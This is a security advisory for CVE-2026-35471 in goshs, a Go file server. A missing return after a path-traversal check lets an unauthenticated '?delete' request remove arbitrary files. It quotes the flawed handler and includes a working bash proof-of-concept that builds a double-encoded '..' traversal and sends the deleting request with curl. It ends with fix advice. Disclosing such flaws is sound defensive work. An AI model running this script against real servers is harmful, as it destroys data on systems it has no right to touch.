CVE-2026-35471

### Summary * `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671` The finding affects the default configuration, no flags or authentication required. ### Details **File:** `httpserver/handler.go:645-671` **Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`) The function detects `..` in the decoded path but does not `return`. ```go func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) { upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/"))) fileCleaned, _ := url.QueryUnescape(upath) if strings.Contains(fileCleaned, "..") { w.WriteHeader(500) _, err := w.Write([]byte("Cannot delete file")) if err != nil { logger.Errorf("error writing answer to client: %+v", err) } // BUG: no return, falls through to os.RemoveAll } deletePath := filepath.Join(fs.Webroot, fileCleaned) err := os.RemoveAll(deletePath) // always executes ``` **Root causes:** Missing `return` after the guard makes the check dead code **Impact:** Unauthenticated arbitrary file/directory deletion. **PoCs:** ```bash #!/usr/bin/env bash # Delete an arbitrary file/directory on a running goshs instance. # Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete> set -euo pipefail HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}" PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}" TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}" # Double-encode ".." => %252e%252e # We don't know the webroot depth, so use 16 levels (covers most paths). TRAVERSAL="" for _ in $(seq 1 16); do TRAVERSAL="${TRAVERSAL}%252e%252e/" done # Strip leading / from target and URL-encode any special chars TARGET_REL="${TARGET#/}" ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))") URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete" echo "[*] Target: ${TARGET}" echo "[*] Request: GET ${URL}" echo "" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL") echo "[*] HTTP ${HTTP_CODE}" ``` To execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary` --- ## Recommendations Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs